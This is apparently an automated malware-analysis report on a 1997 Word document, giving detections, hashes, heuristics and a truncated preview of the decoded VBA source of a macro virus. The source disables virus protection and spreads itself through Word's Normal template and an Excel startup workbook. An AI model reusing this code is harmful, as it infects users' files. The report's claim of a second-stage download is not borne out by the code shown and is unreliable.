Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7534e91d107e378a…

MALICIOUS

Office (OLE)

40.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b4cbae537f28fd76c9b4e99862af2d21 SHA-1: 91cee6f7752419c757d636518f2785ed1affb8f4 SHA-256: 7534e91d107e378a5c57b10189124bc96dcbb544bc9618fe16a811cfea577985
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1127.001 Code Signing

The sample is a malicious OLE document containing VBA macros. The macros utilize CreateObject and GetObject functions, indicative of attempts to execute code or download further payloads. The ClamAV detection 'Doc.Trojan.Codemas-1' and the detection on an extracted artifact 'Win.Trojan.C-286' confirm malicious intent. The VBA script attempts to interact with Excel, likely to download and execute a second-stage payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Codemas-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Codemas-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16015 bytes
SHA-256: f42527a751b52c1ced0e8b5ad4dfa5539029ac6383d9bceaa808c85cfdfed29c
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Dim InstMast As Boolean
InstMast = False
With Options
    .SaveNormalPrompt = False
    .VirusProtection = False
End With
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set Code = ThisDocument.VBProject.VBComponents.Item(1)
CodeMast = Code.CodeModule.Lines(1, Code.CodeModule.CountOfLines)
If NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines) <> CodeMast Then
    If NT.CodeModule.CountOfLines > 0 Then
        NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
    End If
    Set fVict = NormalTemplate
    SaveNorm = NormalTemplate.Saved
    InstMast = True
ElseIf AD.CodeModule.Lines(1, CodeMast.CodeModule.CountOfLines) <> CodeMast Then
    If AD.CodeModule.CountOfLines > 0 Then
        AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
    End If
    Set fVict = ActiveDocument
    SaveDoc = ActiveDocument.Saved
    InstMast = True
End If
For i = 1 To fVict.VBProject.VBComponents.Count
    If (fVict.VBProject.VBComponents(i).Type <> 100) Then
        Application.OrganizerDelete fVict.FullName, fVict.VBProject.VBComponents(i).Name, wdOrganizerObjectProjectItems
    End If
Next i
DisVirProt
Set xl = CreateObject("Excel.Application")
If UCase(Dir(xl.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
    Set Mastxl = xl.Workbooks.Add
    Mastxl.VBProject.VBComponents("ThisWorkbook").CodeModule.AddFromString CodeMast
    Mastxl.SaveAs FileName:=xl.Application.StartupPath + "\Book1."
End If
xl.Quit
Set Vict = fVict.VBProject.VBComponents.Item(1)
If InstMast = True Then
    Vict.CodeModule.AddFromString CodeMast
    If SaveNorm = True Then NormalTemplate.Save
    If SaveDoc = True Then ActiveDocument.Save
End If
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Set Vict = ActiveWorkbook.VBProject.VBComponents.Item(1).CodeModule
Set Code = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule
CodeMast = Code.Lines(1, Code.CountOfLines)
If UCase(Dir(Application.StartupPath & "\Book1.")) <> "BOOK1" Then
    Set xlApp = CreateObject("Excel.Application")
    Set BookMast = xlApp.Workbooks.Add
    BookMast.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, CodeMast.Lines(1, CodeMast.CountOfLines)
    BookMast.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
    xlApp.Quit
End If
    For i = 1 To ActiveWorkbook.VBProject.VBComponents.Count
        If ActiveWorkbook.VBProject.VBComponents(i).CodeModule.Find("'Code", 1, 1, 1000, 1000) = False Then
            ActiveWorkbook.VBProject.VBComponents(i).CodeModule.DeleteLines 1, ActiveWorkbook.VBProject.VBComponents(i).CodeModule.CountOfLines
        Addi = ActiveWorkbook.VBProject.VBComponents(i).Name
        If ActiveWorkbook.VBProject.VBComponents(i).Type = 100 Then
            If UCase(Mid((ActiveWorkbook.VBProject.VBComponents(i).Name), 1, 5)) <> "SHEET" Then
                ActiveWorkbook.VBProject.VBComponents(i).CodeModule.InsertLines 1, CodeMast
                If Mid((ActiveWorkbook.Name), 1, 4) <> "Book" Then
                    If ActiveWorkbook.Saved = False Then ActiveWorkbook.Save
                End If
            End If
        End If
        End If
    Next i
Set wd = GetObject(, "Word.Application")
If wd = " " Then
   Set wd = CreateObject("Word.Application")
   wdq = True
End If
For i = 1 To wd.NormalTemplate.VBProject.VBComponents.Count
    Set wdNT = wd.NormalTemplate.VBProject.VBComponents(i)
    If wdNT.Type <> 100 Then
        wd.Application.OrganizerDelete wd.NormalTemplate.FullName, wd.NormalTemplate.VBProject.VBComponents(i).Name, wd.wdOrganizerObjectProjectItems
    ElseIf wdNT.Type = 100 And wdNT.CodeModule.Lines(1, wdNT.CodeModule.CountOfLines) <> 
... (truncated)

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